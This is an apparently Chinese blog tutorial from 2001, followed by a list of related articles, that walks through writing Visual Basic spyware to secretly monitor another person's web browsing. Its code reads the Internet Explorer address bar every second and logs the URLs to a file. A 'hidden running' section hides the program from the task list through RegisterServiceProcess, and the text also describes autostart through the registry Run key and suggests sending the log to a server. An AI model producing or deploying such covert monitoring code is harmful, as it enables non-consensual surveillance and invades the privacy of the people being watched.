一个用VB编写的监控别人上网的软件例子

原创 2001年05月12日 06:27:00
一、程序核心

  本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。

  1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:

  Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String, ByVal lpWindowName As String) As Long

  ′Findwindow函数的功能是找到当前运行的IE窗口的url地址的句柄

  Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long

  ′SendMessage函数的功能是向操作系统发送一条消息

  Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long,ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

  ′FindwindowEx函数的功能是找到子窗体的句柄

  Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long

  Private Const WM_GETTEXT = &HD

  Private Const WM_GETTEXTLENGTH = &HE

  2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码:

  Private Sub GetURLstring_Click()

  On Error GoTo CallErrorA

  Dim sClassName As String ′设定一个字符串变量,是类变量

  Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值

  Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄

  lhwnd = 0

  sClassName = (″IEFrame″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄

  sClassName = (″WorkerA″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的工作区的句柄

  sClassName = (″ReBarWindow32″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的菜单栏的句柄

  sClassName = (″ComboBoxEx32″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的下拉菜单的句柄

  sClassName = (″ComboBox″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的下拉菜单当前项的句柄

  sClassName = (″Edit″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得这个下拉菜单的编辑框句柄

  WindowHandle = lhwnd ′接收当前我们想要的句柄

  Dim buffer As String ′设定字符串变量接收当前的字符串

  Dim TextLength As Long ′设定长整形变量接收字符串的长度

  TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) ′向系统发送获得IE窗口的地址栏中的字符串长度命令

  buffer = String(TextLength, 0) ′

  Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) ′向系统发送获得IE窗体地址栏中的字符串命令

  If buffer = ″″ Then

  MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, vbOKOnly

  Else

  MsgBox buffer ′IE运行时显示当前网址

  End If

  Exit Sub

  CallErrorA:

  MsgBox Err.Description

  Err.Clear

  End Sub

  二、添加定时保存功能

  我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。

  1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:

  Private Sub Timer1_Timer()

  GetURLstring_Click

  End Sub

  2. 在窗体代码开始的声明部分定义变量curUrl

  Dim curUrl As String

  3.用文件操作函数把Buffer变量中的字符串写进磁盘文件中,添加代码如下

  Private Sub Form_Load()

  Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打开一个文件End Sub

  Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

  Close #1 ′关闭开始打开的文件

  End Sub

  并把GetURLstring_Click()中的如下部分

  If buffer = ″″ Then

  MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, vbOKOnly

  Else

  MsgBox buffer ′IE运行时显示当前网址

  End If

  改为如下代码:

  If buffer <> ″″ And buffer <> curUrl Then

  Write #1, Now & vbTab & buffer

  curUrl = buffer

  End If

  三、隐蔽运行

  为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:

  1.在窗体的声明部分声明加入API函数和需要的常数:

  Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long

  Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long

  Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long

  Private Const RSP_SIMPLE_SERVICE = 1

  Private Const RSP_UNREGISTER_SERVICE = 0

  2.注册为service和释放注册的过程:

  在Form_Load事件的开始添加如下代码

  Dim pid As Long

  Dim reserv As Long

  pid = GetCurrentProcessId() ′得到当前进程ID

  regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注册为service

  把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消

  Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

  Dim pid As Long

  Dim reserv As Long

  Close #1

  pid = GetCurrentProcessId()

  regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)

  End Sub

  如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件名(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。

一个用VB编写的监控别人上网的软件例子

  • zgqtxwd
  • zgqtxwd
  • 2008年05月01日 05:24
  • 116

我的记事本(vb编写的)

源代码:http://download1.csdn.net/down3/20070606/06124205473.rar成品: http://download1.csdn.net/down3/2007...
  • foamflower
  • foamflower
  • 2007年06月06日 12:47
  • 964

关于实时监控软件需要注意的几个编程要点

1.背景 第一次做实时监控程序的时候,可能都会和博主一样,遇到界面刷新速度很慢,或者说界面响应速度很慢的情况,而且很难一下子断定问题的关节。刚遇到这个问题的时候,按照学过的算法优化基础,做了一些简单...
  • BuquTianya
  • BuquTianya
  • 2014年03月23日 22:03
  • 2519

局域网内如何盗用别人的IP上网

现在很多局域网都根据IP地址的不同,给不同IP地址分配不同资源;或则网内自己ip由于一些原因被封掉,不能访问外网;这些时候可能我们可能就需要先借别人的IP用用了。下面分两种情况来介绍具体的方法:一、I...
  • yourlin
  • yourlin
  • 2006年09月04日 18:53
  • 6108

VB脚本编写的小题库程序

把Excel也当成一个数据库,只不过这个数据库只支持文本。程序可以改变和增加Excel里面的题目内容,题库也会相应增大,注意总题数也要改成和实际题目数目相应的数字。...
  • ciel_arc
  • ciel_arc
  • 2016年02月07日 18:54
  • 313

用VB6.0实现网络实时监控系统

  计算机网络技术的日益发展和普及,为信息共享提供了一条全球性的高速通道,但目前采用的TCP/IP协议族潜在着安全漏洞,其安全机制并不健全,如何保护企业内部网络中的资源及信息不受外部攻击者肆意破坏或盗...
  • jevylau
  • jevylau
  • 2007年02月25日 10:29
  • 852

VB无所不能之六:对程序运行的监控

VB无所不能之六:对程序运行的监控 ——作者:钟声博客地址:http://blog.csdn.net/useway 转眼间,本系列文章已经写到了第六个,今天写点什么呢?还是得写,看似VB做不到的事情,...
  • useway
  • useway
  • 2010年04月16日 16:00
  • 4367

用C++&SNMP++开发网络监控软件——现场直播

为了整体复习下C++,决定在业余时间做一个完整的网络监控产品。为了督促自己坚持下去(毕竟不如打游戏有趣),准备一边做一边写写日志。该软件大致功能应该是:凡是跑了这个程序客户端的机器都会收集机器上的硬件...
  • chen_yunhao
  • chen_yunhao
  • 2007年10月23日 15:14
  • 2105

VB制作外挂示例

       使用 Visual Basic 制作修改器       作者:Bean(beans@gamehacking.com)       HeYu,Flyinsky 翻译        "对不起...
  • hyblusea
  • hyblusea
  • 2006年11月05日 22:19
  • 4635

只有某个浏览器能上网 其他软件均无法上网的情况

Winsock设置问题,利用下面语句 netsh winsock reset  或者 netsh winsock reset  catalognetsh int ip reset reset...
  • songyu0120
  • songyu0120
  • 2015年03月02日 23:41
  • 917
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:一个用VB编写的监控别人上网的软件例子
举报原因:
原因补充:

(最多只允许输入30个字)